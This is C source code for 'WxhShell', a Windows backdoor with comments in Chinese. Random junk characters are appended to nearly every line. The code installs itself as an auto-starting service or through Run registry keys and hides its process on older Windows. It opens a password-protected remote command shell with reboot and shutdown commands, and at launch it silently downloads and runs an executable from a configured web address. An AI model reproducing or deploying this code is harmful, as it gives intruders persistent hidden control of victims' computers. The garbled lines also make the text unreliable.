DWORD AffinityMask; 4^F[Gp?
DWORD BasePriority; j4~(6Imm
ULONG UniqueProcessId; @8L5UT
ULONG InheritedFromUniqueProcessId; M\]lNQ A
} PROCESS_BASIC_INFORMATION; Y%KowgP\
`"5Ub,~
PROCNTQSIP NtQueryInformationProcess; +A}t_u3<
fap`;AuwK
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r w?wi}}gn
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6jq*lnA%
q0.!T0i
HANDLE hProcess; IZZAR
PROCESS_BASIC_INFORMATION pbi; ^'`b\$km-0
)|~K&qn`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x~e._k=
if(NULL == hInst ) return 0; 5X{|*?>T
*u},(4Qf
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Zj%eW!m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H*=cw<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }z`x-(V
hb`9Vn\-E
if (!NtQueryInformationProcess) return 0; \|PiQy*_?
Z@bgJL83
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -CvmZ:n
if(!hProcess) return 0; m
Q2i$ 0u
<V ?2;Gy
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _2fW/U54_
..N6]u
CloseHandle(hProcess); iLy^U*yK
m{IlRf'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zMSwU]4I!
if(hProcess==NULL) return 0; R{g=
N%O
;K<VT\
HMODULE hMod; wm5&5F4:
char procName[255]; I}`pY3
unsigned long cbNeeded; )N.3Q1g-
7-744wV}Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &g:( I
_^iY;&
CloseHandle(hProcess); *!QmYH5r0
Z(MZbzY7Hq
if(strstr(procName,"services")) return 1; // 以服务启动 CFpBosoFt^
j.=:S;
return 0; // 注册表启动 9Yt|Wj
} '2lV(>"
pDS[ecx
// 主模块 2yfU]`qN
int StartWxhshell(LPSTR lpCmdLine) lNX*s
E
.
{ 6z\!lOVjb
SOCKET wsl; a 0SZw
BOOL val=TRUE; v5[gFY(?
int port=0; Vn#}f=u\
struct sockaddr_in door; Ed=/w6<
\K$\-]N+
if(wscfg.ws_autoins) Install(); M5I`i{Gw
'\bokwsP
port=atoi(lpCmdLine); mERkC,$
Cy-p1s
if(port<=0) port=wscfg.ws_port; )1At/ mr
a6Vfd&
WSADATA data; a*p|Ij
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 13?:a[~=Y
t0e6iof^o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
VY6G{f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [UwQi!^-O
door.sin_family = AF_INET; u62H+'k}F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8a6.77c
door.sin_port = htons(port); }?2X
q
\(Ma>E4PNU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gC$_yd6m
L
closesocket(wsl); By1Tum+I1
return 1; c7CYulm
} .gO|=E"
%R GZu\p
if(listen(wsl,2) == INVALID_SOCKET) { pA8bFtt
closesocket(wsl); CR [>5/:M
return 1; DuC#tDP
} sc*R:"
Wxhshell(wsl); rWr'+v?
WSACleanup(); `l45T~`]$
-r*|N.5c
return 0; [8'?G5/n
-mO#HZ Iq
} d/
Lz"
5(<O?#P
// 以NT服务方式启动 {IOc'W-C#2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Us<#"fC
{ 4U dk#
DWORD status = 0; > TYDkEs0
DWORD specificError = 0xfffffff; Noj*K6
vA6`};|
serviceStatus.dwServiceType = SERVICE_WIN32; ;Z*rY?v
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eg;r38
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z}-CU GS
serviceStatus.dwWin32ExitCode = 0; gdIk%m4
serviceStatus.dwServiceSpecificExitCode = 0; 6%V:Z
serviceStatus.dwCheckPoint = 0; 0(i3RPIj\
serviceStatus.dwWaitHint = 0; #?)6^uTW
j \rGU){
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b_sasZo
if (hServiceStatusHandle==0) return; SY
Bp-o
+pYgh8w@
status = GetLastError(); w10~IP
if (status!=NO_ERROR) |47t+[b
{ ^p(aZj3k
serviceStatus.dwCurrentState = SERVICE_STOPPED; QtfL'su:
serviceStatus.dwCheckPoint = 0; [pU(z'caS
serviceStatus.dwWaitHint = 0; -W!M:8
serviceStatus.dwWin32ExitCode = status;
KTYjC\\G
serviceStatus.dwServiceSpecificExitCode = specificError; X>$Wf3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6m@gW]N
return; vyS>3(NZ
} =cRmaD
2Pb+/1*ix
serviceStatus.dwCurrentState = SERVICE_RUNNING; kk5&lak2V
serviceStatus.dwCheckPoint = 0; }"+"nf5h
serviceStatus.dwWaitHint = 0; e/hCYoS1n
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yr'-;-u
} Xc[ym
IhzY7U)}T
// 处理NT服务事件,比如:启动、停止 ou0TKE9
_
VOID WINAPI NTServiceHandler(DWORD fdwControl) OcUj_Zd
{ T^!Q(`*
switch(fdwControl) }@LIb<Y
{ |6^a[x3/U
case SERVICE_CONTROL_STOP: Xr^ 5Th\
serviceStatus.dwWin32ExitCode = 0; ="]lN
serviceStatus.dwCurrentState = SERVICE_STOPPED; |8E~C~d
serviceStatus.dwCheckPoint = 0; r.)n>
serviceStatus.dwWaitHint = 0; Mq~E'g4#
{ TeuZVy8a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v8F{qT50
} dWzf C@]
return; }t#|+T2f
case SERVICE_CONTROL_PAUSE: !84Lvg0&
serviceStatus.dwCurrentState = SERVICE_PAUSED; yl?LXc[)
break; W?SAa7+
case SERVICE_CONTROL_CONTINUE: I;}U/'RR>
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^+-QY\N
j
break; Mxw-f4j
case SERVICE_CONTROL_INTERROGATE: QeF:s|[
break; {;Hg1=cm
}; y#
\"yykB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lea4-Gc
} l`~$cK!
t>quY$}4
// 标准应用程序主函数 .oM- A\!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tp@Yn
{ P'iX?+*
g@x72$j
// 获取操作系统版本 vE`;1UA}
OsIsNt=GetOsVer(); 0Gj/yra9MO
GetModuleFileName(NULL,ExeFile,MAX_PATH); a1_ N~4r`
N5l`Rq^K
// 从命令行安装 ,X|FyO(p
if(strpbrk(lpCmdLine,"iI")) Install(); @[joM*U
w}6~t\9D
// 下载执行文件 47Vt8oyh%
if(wscfg.ws_downexe) { '`k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ommW
WinExec(wscfg.ws_filenam,SW_HIDE); K?M~x&Q
} ThP~k9-
8Y%
if(!OsIsNt) { Q~"Lyy8
// 如果时win9x,隐藏进程并且设置为注册表启动 /Q W^v;^
HideProc(); SeZ+&d
StartWxhshell(lpCmdLine); Ho}*Bn~ic
} /T
qbl^[
else }^H(EHE
if(StartFromService()) 5Bq;Vb
// 以服务方式启动 d$o m\@
StartServiceCtrlDispatcher(DispatchTable); !!A(A^s
else iLQO
.'{U
// 普通方式启动 dH0>lV
StartWxhshell(lpCmdLine); )/f#~$ws
&OFVqm^
return 0; bi-Am/9
} k~;~i)Eg
1xtS$^APcd
JoB-&r}\V*
|
#a{1Z)
=========================================== 3v$n}.
9FC_B+7
?!F<xi:
+?t&
7={~
zxs)o}8icO
`r&Ui%fk;0
" ?r]0 %W^
)w}'kih
#include <stdio.h> S&=@Hj-
#include <string.h> qDg`4yX.}
#include <windows.h> T+0z.E!~I
#include <winsock2.h> I_Z?'M
#include <winsvc.h> i`6utOq
#include <urlmon.h> S\ZCZ0
RKMF?:
#pragma comment (lib, "Ws2_32.lib") 41B.ZE+*qd
#pragma comment (lib, "urlmon.lib") VwBw!,%Ab
?l[#d7IB
#define MAX_USER 100 // 最大客户端连接数 [$$R>ELYQ
#define BUF_SOCK 200 // sock buffer ;E{@)X..|
#define KEY_BUFF 255 // 输入 buffer 'M?pg$ta_V
U4a8z<l$
#define REBOOT 0 // 重启 FME,W&_d
#define SHUTDOWN 1 // 关机 MC-Z6l2
=.J>'9 Q
#define DEF_PORT 5000 // 监听端口 -q)|I|y*7
U3aM^
#define REG_LEN 16 // 注册表键长度 j^Qk\(^#IV
#define SVC_LEN 80 // NT服务名长度 1h162
7"eIZ
// 从dll定义API ~6u|@pnI
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bA6^RIf?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U/HF6=Wot
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hYFi"ck
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bQ?Vh@j(M
$Y$s*h_-/<
// wxhshell配置信息 iN Lt4F[i
struct WSCFG { N>s3tGh
int ws_port; // 监听端口 S=L#8CID
char ws_passstr[REG_LEN]; // 口令 0jXDjk5'<
int ws_autoins; // 安装标记, 1=yes 0=no 1)xj 'n
char ws_regname[REG_LEN]; // 注册表键名 <|3F('Q"
char ws_svcname[REG_LEN]; // 服务名 55y}t%5
char ws_svcdisp[SVC_LEN]; // 服务显示名 2c,w
4rK
char ws_svcdesc[SVC_LEN]; // 服务描述信息 0ikA@SAq
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I_Gm2Dd
int ws_downexe; // 下载执行标记, 1=yes 0=no Z0~,cO8~
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RXWdqaENx
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fA V.Mj-
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}; ,ueA'GZ
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// default Wxhshell configuration k9y/.Mu
struct WSCFG wscfg={DEF_PORT, NP.qh1{NP
"xuhuanlingzhe", W"~"R
1, ! OVi\v
'm
"Wxhshell", 'o8,XBv-
"Wxhshell", 2fm6G).m
"WxhShell Service", Y}\3PaUa
"Wrsky Windows CmdShell Service", >
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"Please Input Your Password: ", OtZtl*5
1, p8CaD4bE
"http://www.wrsky.com/wxhshell.exe", M;z )c|Z
"Wxhshell.exe" .D=#HEshk
}; b3=XWzK5
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// 消息定义模块 e7Sg-NWV
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'F1<m^
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hc0V4NHCaL
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x;7p75Wm
char *msg_ws_ext="\n\rExit."; <Lle1=qQ
char *msg_ws_end="\n\rQuit."; `1
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char *msg_ws_boot="\n\rReboot..."; }V+&o\4
char *msg_ws_poff="\n\rShutdown..."; M7gqoJM'Q
char *msg_ws_down="\n\rSave to "; (elkk#
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char *msg_ws_err="\n\rErr!"; %CrpUx
char *msg_ws_ok="\n\rOK!"; 61b<6r0o
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char ExeFile[MAX_PATH]; 57N<OQWf
int nUser = 0; @<1T&X{Z!
HANDLE handles[MAX_USER]; ?`SBGN;
int OsIsNt; 5) 4?i p
5e'**tbKH
SERVICE_STATUS serviceStatus; taSYR$VJ
SERVICE_STATUS_HANDLE hServiceStatusHandle; :y!{=[>M(
yAJrdY"
// 函数声明 %)r1?H} #%
int Install(void); f*[Uq0?
int Uninstall(void); J
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int DownloadFile(char *sURL, SOCKET wsh); DC$x}1
int Boot(int flag); _ =(v? 2:?
void HideProc(void); K+U0YMRmz
int GetOsVer(void); cn
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int Wxhshell(SOCKET wsl); ns[h_g!j;
void TalkWithClient(void *cs); *^%ohCUi
int CmdShell(SOCKET sock); %G] W Oq=q
int StartFromService(void); `]2y=f<{X
int StartWxhshell(LPSTR lpCmdLine); WZ@$bf}f0
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q[.,i{2R}
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =co6.Il
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// 数据结构和表定义 Or()AzwE@
SERVICE_TABLE_ENTRY DispatchTable[] = kPp7;U2A
{ 6)3pnhG9
{wscfg.ws_svcname, NTServiceMain}, 'p,54<e
{NULL, NULL} `9VRT`e
}; Z@#kivcpz
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// 自我安装
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int Install(void) eOd'i{f@F
{ mLeK7?GL
char svExeFile[MAX_PATH]; VSm{]Z!x
HKEY key; UZW)%
strcpy(svExeFile,ExeFile); 14Jkr)N
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// 如果是win9x系统,修改注册表设为自启动 `HM?Fc58
if(!OsIsNt) { Z
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if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $,7Yo
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RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /.@"wAw:
RegCloseKey(key); TC._kAm
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NFb<fD[C
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %t,Fxj4F
RegCloseKey(key); AhSN'gWpbF
return 0; &;%LTF@I,
} E"Y[k8-:2/
} =&?BPhJE
} zO)3MC7l*
else { )L7h:%h#
h!]=)7x;
// 如果是NT以上系统,安装为系统服务 jL#`CD
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bjsg!^X7
if (schSCManager!=0) \w@ "`!%
{ ,S=ur%
SC_HANDLE schService = CreateService Md1ePp]
( oei2$uu
schSCManager, E$E#c8I:
wscfg.ws_svcname, /:aY)0F0<&
wscfg.ws_svcdisp, ft4(^|~
SERVICE_ALL_ACCESS, 32,Y3!%
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;[[oZ
SERVICE_AUTO_START, XXPpj< c
SERVICE_ERROR_NORMAL, QpMi+q
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svExeFile, 5*Y(%I<
NULL, ,CQg6-[
NULL, -|&&lxrwh
NULL, i~EFRI@
NULL, MJI`1*(
NULL :0j_I\L
); kTs.ps8ei
if (schService!=0) %8g1h)F"S
{ 7F wot&